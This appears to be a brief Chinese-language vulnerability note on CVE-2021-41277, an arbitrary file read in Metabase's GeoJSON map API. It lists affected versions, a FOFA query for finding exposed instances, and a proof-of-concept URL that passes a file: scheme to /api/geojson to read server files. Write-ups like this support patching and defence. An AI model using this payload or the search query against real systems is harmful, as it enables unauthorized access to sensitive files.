Metabasegeojson任意文件读取漏洞CVE-2021-41277

一、漏洞描述

​ 在受影响的版本中，自定义 GeoJSON 地图（admin->settings->maps->custom maps->add a map）操作缺少权限验证，攻击者可通过该漏洞获得敏感信息

二、漏洞影响

  • metabase version < 0.40.5
  • metabase version >= 1.0.0, < 1.40.5

1、fofa.so搜索

1
"Metabase geojson"

image-20220219004406584

POC:

1
https://IP/api/geojson?url=file:xxxxx

image-20220219004247065